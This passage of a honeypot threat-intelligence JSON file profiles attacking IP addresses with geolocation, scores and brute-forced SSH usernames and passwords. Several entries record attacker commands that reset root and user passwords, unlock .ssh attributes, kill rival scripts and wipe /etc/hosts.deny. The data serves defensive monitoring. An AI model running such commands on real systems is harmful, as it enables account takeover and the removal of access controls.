        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 4.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4945,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T07:44:27.938000+00:00",
        "last_seen_30d": "2026-03-04T08:17:17.404000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3525,
        "Suricata": 1420
      }
    },
    "213.177.179.62": {
      "attack_count": 2332,
      "first_seen": "2026-03-16T16:21:45.186Z",
      "last_seen": "2026-03-16T17:51:16.518Z",
      "sessions": 467,
      "ports": [],
      "usernames_attempted": [
        "kelltech",
        "bardengineering",
        "root"
      ],
      "passwords_attempted": [
        "123",
        "1234",
        "12345",
        "123456",
        "1234567",
        "123456789",
        "password",
        "password123",
        "test123",
        "12345678",
        "000000",
        "00000000",
        "007007",
        "0123456789",
        "101010",
        "102030",
        "1111",
        "11111",
        "111111",
        "1111111"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": null,
      "asn": 208137,
      "as_org": "Feo Prest SRL",
      "threat_score": 25.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 10,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3307,
        "days_active_30d": 1,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T16:21:45.186000+00:00",
        "last_seen_30d": "2026-03-16T17:52:18.001000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2332,
        "Suricata": 975
      }
    },
    "213.74.255.86": {
      "attack_count": 677,
      "first_seen": "2026-03-04T07:58:27.321Z",
      "last_seen": "2026-03-09T21:48:11.902Z",
      "sessions": 50,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "clawd",
        "dev1",
        "devman",
        "lyh",
        "test_user",
        "ftpuser01",
        "kyle",
        "lan",
        "lorenzo",
        "postgres",
        "public",
        "rstudio",
        "samba",
        "user2",
        "vendas",
        "vincent",
        "webapp"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345678",
        "12345",
        "123456",
        "123",
        "123456Dd",
        "1986123",
        "1q2w3e4R",
        "@123456",
        "Ab123456.",
        "Bingo@1993",
        "Jj123456",
        "Kevin123",
        "Qweasd123",
        "Salam@123",
        "admin@2023",
        "asdfasdf",
        "dev1123",
        "ftpuser01123"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"12345678\\nNnRIHKp8rVXN\\nNnRIHKp8rVXN\\n\"|passwd",
        "echo \"12345678\\nSmqNoYiYNNpV\\nSmqNoYiYNNpV\\n\"|passwd",
        "echo \"123456\\nZPyRcCjVNnH0\\nZPyRcCjVNnH0\\n\"|passwd",
        "echo \"dev1123\\nrQsGTLPSqViQ\\nrQsGTLPSqViQ\\n\"|passwd",
        "echo \"lyhpass\\nAuppvreBx0Wn\\nAuppvreBx0Wn\\n\"|passwd",
        "echo \"root:Xu40vd84W7Bl\"|chpasswd|bash",
        "echo \"root:lWA0iTjT5Kmy\"|chpasswd|bash",
        "echo -e \"12345678\\nNnRIHKp8rVXN\\nNnRIHKp8rVXN\"|passwd|bash",
        "echo -e \"12345678\\nSmqNoYiYNNpV\\nSmqNoYiYNNpV\"|passwd|bash",
        "echo -e \"123456\\nZPyRcCjVNnH0\\nZPyRcCjVNnH0\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": null,
      "asn": 34984,
      "as_org": "Superonline Iletisim Hizmetleri A.S.",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 29.0,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 792,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T07:58:27.321000+00:00",
        "last_seen_30d": "2026-03-09T21:49:13.752000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 677,
        "Suricata": 115
      }
    },
    "210.79.191.115": {
      "attack_count": 563,
      "first_seen": "2026-03-14T19:13:54.984Z",
      "last_seen": "2026-03-21T14:30:54.668Z",
      "sessions": 42,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "abdel",
        "hh",
        "hong",
        "kevin",
        "username",
        "admin",
        "bot1",
        "choi",
        "den",
        "deployuser",
        "dev",
        "docker",
        "erpuser",
        "es",
        "f",
        "gianluca",
        "kobo",
        "lg"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "12345",
        "123",
        "123456",
        "1qaz!qaz",
        "Admin@2025",
        "Deployuser123!",
        "Docker123!",
        "Hong123",
        "Kevin123!",
        "P@ssw0rd",
        "a5201314",
        "abdelpass",
        "denpass",
        "erpuser",
        "es@123",
        "f",
        "gianlucapass"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345\\nOCJG6W3d6HcE\\nOCJG6W3d6HcE\\n\"|passwd",
        "echo \"Hong123\\njEgPJeu5zvHK\\njEgPJeu5zvHK\\n\"|passwd",
        "echo \"Kevin123!\\ngZq3XAcJ5zLt\\ngZq3XAcJ5zLt\\n\"|passwd",
        "echo \"abdelpass\\nMkkxB6PEsNlT\\nMkkxB6PEsNlT\\n\"|passwd",
        "echo \"root:r2YubWUsw2Qh\"|chpasswd|bash",
        "echo \"username\\nkeXUPjSpIurt\\nkeXUPjSpIurt\\n\"|passwd",
        "echo -e \"12345\\nOCJG6W3d6HcE\\nOCJG6W3d6HcE\"|passwd|bash",
        "echo -e \"Hong123\\njEgPJeu5zvHK\\njEgPJeu5zvHK\"|passwd|bash",
        "echo -e \"Kevin123!\\ngZq3XAcJ5zLt\\ngZq3XAcJ5zLt\"|passwd|bash",
        "echo -e \"abdelpass\\nMkkxB6PEsNlT\\nMkkxB6PEsNlT\"|passwd|bash",
        "echo -e \"username\\nkeXUPjSpIurt\\nkeXUPjSpIurt\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 31.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.2,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 659,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T19:13:54.984000+00:00",
        "last_seen_30d": "2026-03-21T14:32:02.314000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 563,
        "Suricata": 96
      }
    },
    "152.32.129.236": {
      "attack_count": 450,
      "first_seen": "2026-03-08T13:06:05.276Z",
      "last_seen": "2026-03-11T22:09:26.168Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "intel",
        "saad",
        "superman",
        "travis",
        "webadmin",
        "alexis",
        "claude",
        "data",
        "develop",
        "dhiraj",
        "dp",
        "ethan",
        "excel",
        "flussonic",
        "kjh",
        "modify",
        "testsftp",
        "uno85",
        "vendas"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234",
        "12345678",
        "password",
        "12345",
        "123456",
        "Flussonic123",
        "Travis123",
        "alexis123",
        "claude123",
        "develop123",
        "dp1234",
        "kjh",
        "testsftp123!",
        "uno851234",
        "vendas",
        "wordpress"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\n2wQZOGczNPQg\\n2wQZOGczNPQg\\n\"|passwd",
        "echo \"1234\\n1vBL4z7Gk6Kk\\n1vBL4z7Gk6Kk\\n\"|passwd",
        "echo \"1234\\nFRmoC0MQgrHg\\nFRmoC0MQgrHg\\n\"|passwd",
        "echo \"123\\n8Phdj6jNT0h5\\n8Phdj6jNT0h5\\n\"|passwd",
        "echo \"Travis123\\n8mYl1qTB3WcC\\n8mYl1qTB3WcC\\n\"|passwd",
        "echo -e \"123456\\n2wQZOGczNPQg\\n2wQZOGczNPQg\"|passwd|bash",
        "echo -e \"1234\\n1vBL4z7Gk6Kk\\n1vBL4z7Gk6Kk\"|passwd|bash",
        "echo -e \"1234\\nFRmoC0MQgrHg\\nFRmoC0MQgrHg\"|passwd|bash",
        "echo -e \"123\\n8Phdj6jNT0h5\\n8Phdj6jNT0h5\"|passwd|bash",
        "echo -e \"Travis123\\n8mYl1qTB3WcC\\n8mYl1qTB3WcC\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 14.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.2,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 522,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T13:06:05.276000+00:00",
        "last_seen_30d": "2026-03-11T22:10:32.305000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 450,
        "Suricata": 72
      }
    },
    "60.199.224.2": {
      "attack_count": 442,
      "first_seen": "2026-03-14T20:35:30.275Z",
      "last_seen": "2026-03-15T20:24:32.412Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "pro",
        "storage",
        "Admin",
        "dan",
        "exx",
        "gestion",
        "grid",
        "huang",
        "iksi",
        "kirill",
        "kusanagi",
        "minioadmin",
        "nora",
        "proradis",
        "testme",
        "usuarioftp"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "1234",
        "123",
        "12345",
        "12345678",
        "1qaz2wsx@@",
        "Admin1234",
        "Pro123!",
        "Qwerty123!@#",
        "Root2026",
        "Usuarioftp123",
        "exxpass",
        "huang",
        "iksi123",
        "liverovast#adkz443",
        "password",
        "qwer1234."
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\nZj6M8Swc1Tgg\\nZj6M8Swc1Tgg\\n\"|passwd",
        "echo \"Pro123!\\nP3i12cVEIiLB\\nP3i12cVEIiLB\\n\"|passwd",
        "echo \"root:Aage1G94GVWk\"|chpasswd|bash",
        "echo \"root:W2S8JoQt4dbM\"|chpasswd|bash",
        "echo \"root:ZKqF7IPr4tQj\"|chpasswd|bash",
        "echo -e \"123456\\nZj6M8Swc1Tgg\\nZj6M8Swc1Tgg\"|passwd|bash",
        "echo -e \"Pro123!\\nP3i12cVEIiLB\\nP3i12cVEIiLB\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": null,
      "asn": 9924,
      "as_org": "Taiwan Fixed Network, Telco and Network Service Provider.",
      "threat_score": 19.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.1,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 510,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T20:35:30.275000+00:00",
        "last_seen_30d": "2026-03-15T20:25:37.186000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 442,
        "Suricata": 68
      }
    },
    "121.125.70.58": {
      "attack_count": 376,
      "first_seen": "2026-03-07T23:15:00.422Z",
      "last_seen": "2026-03-14T13:19:35.136Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "ai",
        "ftpd",
        "public",
        "root",
        "ts3",
        "admin",
        "dan",
        "git",
        "hzy",
        "intel",
        "marek",
        "ruslan",
        "search",
        "sftpuser",
        "sunshine",
        "testing",
        "timemachine",
        "ts3server",
        "x"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345678",
        "12345",
        "password",
        "123",
        "1233218613",
        "1234",
        "123456",
        "Testing123",
        "Ts3server123",
        "admin1234",
        "ftpd",
        "gitpass",
        "hzypass",
        "search1234",
        "timemachine123!",
        "xpass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\nbJGsFwkgszp2\\nbJGsFwkgszp2\\n\"|passwd",
        "echo \"123456\\nVjNm3NNkekk7\\nVjNm3NNkekk7\\n\"|passwd",
        "echo \"ftpd\\ncfnigOVrjlI9\\ncfnigOVrjlI9\\n\"|passwd",
        "echo \"password\\nyD1e00h5V2pL\\nyD1e00h5V2pL\\n\"|passwd",
        "echo -e \"12345678\\nbJGsFwkgszp2\\nbJGsFwkgszp2\"|passwd|bash",
        "echo -e \"123456\\nVjNm3NNkekk7\\nVjNm3NNkekk7\"|passwd|bash",
        "echo -e \"ftpd\\ncfnigOVrjlI9\\ncfnigOVrjlI9\"|passwd|bash",
        "echo -e \"password\\nyD1e00h5V2pL\\nyD1e00h5V2pL\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Bupyeong-gu",
      "asn": 9318,
      "as_org": "SK Broadband Co Ltd",
      "threat_score": 19.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.4,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 440,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T23:15:00.422000+00:00",
        "last_seen_30d": "2026-03-14T13:20:42.577000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 376,
        "Suricata": 64
      }
    },
    "68.183.32.61": {
      "attack_count": 323,
      "first_seen": "2026-03-03T13:19:45.969Z",
      "last_seen": "2026-03-03T14:18:07.626Z",
      "sessions": 62,
      "ports": [],
      "usernames_attempted": [
        "postgres",
        "root",
        "oracle",
        "apache",
        "deploy",
        "git",
        "guest",
        "hadoop",
        "mysql",
        "nagios",
        "server",
        "test",
        "testuser",
        "user",
        "vps",
        "weblogic"
      ],
      "passwords_attempted": [
        "123",
        "321",
        "test",
        "111111",
        "123456",
        "654321",
        "pass",
        "password",
        "qwerty",
        "test123",
        "123321",
        "1234qwer",
        "123qwe",
        "1q2w3e",
        "1q2w3e4r",
        "321123",
        "P@ssw0rd",
        "apache",
        "deploy",
        "git"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Slough",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 3.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 460,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T13:19:45.969000+00:00",
        "last_seen_30d": "2026-03-03T14:19:11.513000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 323,
        "Suricata": 137
      }
    },
    "217.154.38.181": {
      "attack_count": 316,
      "first_seen": "2026-03-12T00:32:38.103Z",
      "last_seen": "2026-03-12T00:59:02.986Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "arjun",
        "logviewer",
        "n8n",
        "nova",
        "lek",
        "ts1",
        "ubuntu",
        "zxy"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "12345",
        "Lek123!",
        "aa123456..",
        "arjun",
        "n8n",
        "ts1123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\nEoCToohemOmj\\nEoCToohemOmj\\n\"|passwd",
        "echo \"12345\\nQzKqV768LTRf\\nQzKqV768LTRf\\n\"|passwd",
        "echo \"arjun\\nWE9YhRu7zUsQ\\nWE9YhRu7zUsQ\\n\"|passwd",
        "echo \"n8n\\nLokwA3Z9nX43\\nLokwA3Z9nX43\\n\"|passwd",
        "echo -e \"123456\\nEoCToohemOmj\\nEoCToohemOmj\"|passwd|bash",
        "echo -e \"12345\\nQzKqV768LTRf\\nQzKqV768LTRf\"|passwd|bash",
        "echo -e \"arjun\\nWE9YhRu7zUsQ\\nWE9YhRu7zUsQ\"|passwd|bash",
        "echo -e \"n8n\\nLokwA3Z9nX43\\nLokwA3Z9nX43\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 8560,
      "as_org": "IONOS SE",
      "threat_score": 14.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 349,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T00:32:38.103000+00:00",
        "last_seen_30d": "2026-03-12T01:00:06.669000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 316,
        "Suricata": 33
      }
    },
    "27.79.41.201": {
      "attack_count": 307,
      "first_seen": "2026-03-28T10:32:11.185Z",
      "last_seen": "2026-03-28T10:58:19.814Z",
      "sessions": 61,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "user",
        "*****",
        "123456",
        "RPM",
        "admian",
        "belkinstyle",
        "bin",
        "carol",
        "cisco",
        "cpanel",
        "db2inst2",
        "demo",
        "ftp_zsd",
        "geral",
        "joggler",
        "joro",
        "kim",
        "madrid"
      ],
      "passwords_attempted": [
        "admin",
        "123456",
        "*****",
        "0987654321",
        "1111",
        "112233",
        "123",
        "1234",
        "1234567890%*()",
        "72b1bd75ac87852a",
        "72ca06",
        "?",
        "Deadstar!",
        "P@ssw0rd",
        "RPM",
        "abc123",
        "admin1",
        "aerohive",
        "bananapi",
        "bin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 37.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.4,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 439,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T10:32:11.185000+00:00",
        "last_seen_30d": "2026-03-28T10:59:24.667000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 307,
        "Suricata": 132
      }
    },
    "78.100.64.148": {
      "attack_count": 307,
      "first_seen": "2026-03-21T08:35:20.470Z",
      "last_seen": "2026-03-23T11:11:08.614Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "ftpd",
        "root",
        "builduser",
        "salman",
        "astro",
        "datacenter",
        "elaine",
        "ghost",
        "harry",
        "lucas",
        "max",
        "odoo17",
        "palworld",
        "sshuser",
        "storage",
        "tian",
        "ws"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "12345678",
        "Harry123",
        "Sshuser123!",
        "Zz123456",
        "astro123!",
        "builduser123",
        "datacenter123!",
        "ftpd1234",
        "ftpdpass",
        "ghost123!",
        "maxpass",
        "odoo17",
        "palworld123!",
        "q1w2e3r4Q!W@E#R$",
        "qwerty@2024",
        "tian123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\ntOHITeAoJIAW\\ntOHITeAoJIAW\\n\"|passwd",
        "echo \"builduser123\\nrxOChMHhsnVl\\nrxOChMHhsnVl\\n\"|passwd",
        "echo \"ftpdpass\\n1waAkoPEjcux\\n1waAkoPEjcux\\n\"|passwd",
        "echo -e \"12345678\\ntOHITeAoJIAW\\ntOHITeAoJIAW\"|passwd|bash",
        "echo -e \"builduser123\\nrxOChMHhsnVl\\nrxOChMHhsnVl\"|passwd|bash",
        "echo -e \"ftpdpass\\n1waAkoPEjcux\\n1waAkoPEjcux\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Qatar",
      "country_code": "QA",
      "city": "Doha",
      "asn": 8781,
      "as_org": "Ooredoo Q.S.C.",
      "threat_score": 29.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.7,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 369,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T08:35:20.470000+00:00",
        "last_seen_30d": "2026-03-23T11:12:12.701000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 307,
        "Suricata": 62
      }
    },
    "83.111.76.195": {
      "attack_count": 286,
      "first_seen": "2026-03-26T08:07:00.219Z",
      "last_seen": "2026-03-31T10:44:12.770Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "llm",
        "rramirez",
        "ll",
        "node"
      ],
      "passwords_attempted": [
